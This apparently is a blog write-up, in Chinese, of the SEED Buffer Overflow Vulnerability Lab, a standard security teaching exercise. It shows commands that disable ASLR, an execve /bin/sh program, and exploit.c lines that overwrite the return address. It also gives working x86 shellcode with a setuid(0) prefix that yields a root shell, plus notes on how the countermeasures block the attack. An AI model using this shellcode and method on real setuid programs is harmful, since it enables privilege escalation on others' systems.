Buffer Overflow Vulnerability Lab

Lab Tasks

Turning Off Countermeasures

  1. Address Space Randomization(堆栈地址随机化):主要是基于Linux操作系统的机器,通过将heap和stack的起始地址随机化来防止缓存区溢出攻击

    sudo sysctl -w kernel.randomize_va_space=0
  2. stackGuard:gcc提供的一种安全机制,当其存在时,无法进行buffer overflow攻击,但是可以在编译文件的时候选择禁用这个安全机制

  3. 不可执行化堆栈:需要在program头来设置堆栈是否是可执行性的

Task 1: Running Shellcode

shellcode的原型

#include <stdio.h>
int main() {
	char *name[2];
	name[0] = "/bin/sh";
	name[1] = NULL;
	execve(name[0], name, NULL);
}

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从图中可以,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数

这里只是通过C语言来进行调用bin/sh文件并且将对应的参数传入其中,但是我们要将shellcode放入到内存中,这样在进行buffer overflow攻击的时候才能够执行

Bufffer-overflow-tsak1

当我们编译并且运行call_shellcode.c的时候,还会看到出现一个shell,并且在其中输入相应命令可以得到执行后的结果

Task 2: Exploiting the Vulnerability、

分析:在这一步中,关键的是修改buffer里面的内容,它的逻辑是这样的:首先exploit.c先将buffer[517]进行构造,填充好其中的内容,使得在stack.c中调用bof()来进行strcpy的时候,能够将return address覆盖掉

增加代码:

strcpy(buffer+80,shellcode);
strcpy(buffer + 0x24, "\xE7\xEB\xFF\xBF");

在这里我们将对应的shellcode放置在buffer + 80(0x50)的地方,这个地方可以随便更改,但是值得注意的是不能覆盖掉return address对应的位置

  1. 确定shellcode的存放地址是哪里

    首先,exploit.c里面的buffer最终是要写入到badfile文件中的,而badfile文件又会被读入到str字符数组中去,所以相应的buffer里面的内容也就相当于是str里面的内容,所以我们先要确定str的地址(gdb调试),之后通过在buffer里面shellcode的偏移地址来确定shellcode在内存中的相应地址

    gdb stack
    r//看寄存器内容
    p /x &str//查找str对应的地址

    task2-1

    task2-2

    所以shellcode的代码在stack.c的stack中的位置是0xbfffeb97 + 0x50 = 0xbfffebe7;

  2. 确定return address的位置

    当我们确定了shellcode的起始位置之后,我们就需要确定return address的位置,这样让shellcode的起始位置覆盖掉return address就可以了

    先查看bof的地址以及反汇编内容

    disas bof

    task2-3

    stack

    对应分析反汇编代码发现,其中

    lea eax, [ebp-0x20]

    是将buffer入栈,参考lea与mov的区别,而上面一行的push是将str入栈(变量从右至左入栈)

    之后查看寄存器

    task2-4

    所以确定ebp和buffer之间的距离是0x20,同时由于是32位的,所以return address的栈中地址为0x20+0x04 = 0x24

    task2-5

    成功!!!

Task 3: Defeating dash’s Countermeasure

dash是在Ubuntu中的防止栈溢出的策略,会去检测effective UID,下面是mian.c的一些变化

defeat的策略:在execve()之前调用setuid(0)

  1. 未取消注释的时候:

    task3

    此时获得的是用户权限的shell

  2. 取消注释:

    task3-1

    此时获得的是用户权限的shell

    更新shellcode

    char shellcode[] =
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    "\x31\xdb" /* Line 2: xorl %ebx,%ebx */
    "\xb0\xd5" /* Line 3: movb $0xd5,%al */
    "\xcd\x80" /* Line 4: int $0x80 */
    // ---- The code below is the same as the one in Task 2 ---
    "\x31\xc0"
    "\x50"
    "\x68""//sh"
    "\x68""/bin"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80";

    4条指令对应的作用:

    (1) set ebx to zero in Line 2

    (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is setuid()’s system call number)

    (3) execute the system call in Line 4.

    task3-2

    此时defeat dash成功,得到root权限的shell

    并且如果不加入这四行,即不进行setuid()的话,运行后只能得到用户权限的shell

    task3-3

Task 4: Defeating Address Randomization

打开站地址随机化策略后直接运行

task4

此时会发生segmentation fault,说明在虚拟地址转化为实际的物理地址的时候发生了意外,说明之前计算的地址与现在的是不一样的

在循环的过程中,如果地址不匹配,一直显示segmentation fault,知道匹配,之后则会发生攻击

Task 5: Turn on the StackGuard Protection

当打开栈边界保护的时候,重新编译并运行

task5

发现检测到堆栈破坏,运行的易受程序的程序被终止并且放弃

是由于分配的空间不足以及设置的数值发生了变化,stack.c里面的buffer与要写入的str相比空间太少,所以引起边界保护的报错,同时再修改return address的时候可能会有边界的数值的变化

Task 6: Turn on the Non-executable Stack Protection

task6

不能得到一个shell,发生了段错误(segmentation fault),其原因是:我们将对应的shellcode放在了Buffer中,而这一局部变量是位于stack上的,所以对应的逻辑地址无法转化为实际的物理地址,进而更不可能执行,发生segmentation fault


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

Format-String-lab 上一篇
Web_Security_lab1 下一篇